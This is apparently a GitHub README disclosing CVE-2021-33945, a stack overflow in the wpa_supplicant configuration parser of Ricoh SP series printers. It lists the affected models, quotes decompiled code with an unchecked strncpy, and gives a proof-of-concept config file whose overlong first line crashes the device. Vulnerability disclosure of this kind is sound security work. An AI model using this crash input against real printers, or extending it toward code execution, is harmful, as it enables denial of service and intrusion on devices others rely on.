


main CVE-Request / Ricoh / 1 /

 Ainevsia update CVEIDs ...	on Mar 27 History
..	
 1.png	last year
 README.md	8 months ago

README.md

Ricoh Printer SP Series Vulnerability

This vulnerability lies in the `wpa_suppllicant_conf_parser` function which influences the **most latest version** of Ricoh Printer SP Series. Infected products are listed below:

- SP 320DN
- SP 325DNw
- SP 320SN
- SP 320SFN
- SP 325SNw
- SP 325SFNw
- SP 330SN
- Aficio SP 3500SF
- SP 221S
- SP 220SNw
- SP 221SNw
- SP 221SF
- SP 220SFNw
- SP 221SFNw

Vulnerability description

In function `wpa_suppllicant_conf_parser`, the program opens the file named `/etc/wpa_suppllicant.conf` and reads in the content of the file using the function `os_file_get`. The content of the configuration file is stored on a heap variable named `filecontent` on line 48 and line 58 in the picture below. Then it reads in each line of the file content onto the stack using `strncpy` on line 79. However, the code does not check each line's length, which could lead to stack overflow vulnerabilities.

So by controlling the content of the configuration file, the attacker can easily perform a **Deny of Service(DoS) Attack** or **Remote Code Execution(RCE)** with carefully crafted overflow data.

```

46     return log_msg((int)"wpa_supplicant_conf_parser():conf is NULL!");
47     memset(chunk, 0, conf_file_size + 1);
48     status = os_file_get(filecontent, conf_file_size);
49     v4 = status;
50     if ( status )
51     {
52         log_5("wpa_supplicant_conf_parser():os_file_get() status=%d!\n", status);
53         result = free_2((int)filecontent);
54     }
55     else
56     {
57         sub_182150(0);
58         firstline = (char *)strtok_0((int)filecontent, (int)"\\n");
59         if ( firstline )
60         {
61             v19 = 0;
62             v18 = 1;
63             v21 = 0;
64             v20 = 0;
65             while ( 1 )
66             {
67                 *(_DWORD *)dst = 0;
68                 v25 = 0;
69                 v26 = 0;
70                 v27 = 0;
71                 v28 = 0;
72                 memset((unsigned __int8 *)v22, 0, 0x43u);
73                 linelen = strlen_0(firstline);
74                 endptr = strchr((unsigned __int8 *)firstline, '=');
75                 if ( !(_BYTE)endptr )
76                     goto LABEL_11;
77                 *endptr = 0;
78                 len = strlen_0(firstline);
79                 strncpy(dst, firstline, len);
80                 getafter2(dst, '\n');

```

000EDA30 wp_conf_parse:48 (EDA30)

POC

Any valid configuration file whose first line's length is greater than 0x38 can cause a DoS on this device. Example Configuration file /etc/wpa_supplicant.conf is listed below.

```

# allow frontend (e.g., wpa_cli) to be used by all users in 'wheel' group # This is a looooooooooooooooooooooooooooooooooooooooooooooooooooo
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=wheel
#
# home network; allow all valid ciphers
network={
    ssid="home"
    scan_ssid=1
    key_mgmt=WPA-PSK
    psk="very secret passphrase"
}
#
# work network; use EAP-TLS with WPA; allow only CCMP and TKIP ciphers
network={
    ssid="work"
    scan_ssid=1
    key_mgmt=WPA-EAP
    pairwise=CCMP TKIP
    group=CCMP TKIP
    eap=TLS
    identity="user@example.com"
    ca_cert="/etc/cert/ca.pem"
    client_cert="/etc/cert/user.pem"
    private_key="/etc/cert/user.prv"
    private_key_passwd="password"
}

```

Timeline

- 2021-06-04 report to CVE & CNVD
- 2021-06-17 CNVD ID assigned: CNVD-2021-42364
- 2022-02-16 CVE ID assigned: CVE-2021-33945

Acknowledgment

Credit to @Ainevsia, @peanuts and @cpegg from Shanghai Jiao Tong University and TIANGONG Team of Legendsec at Qi'anxin Group.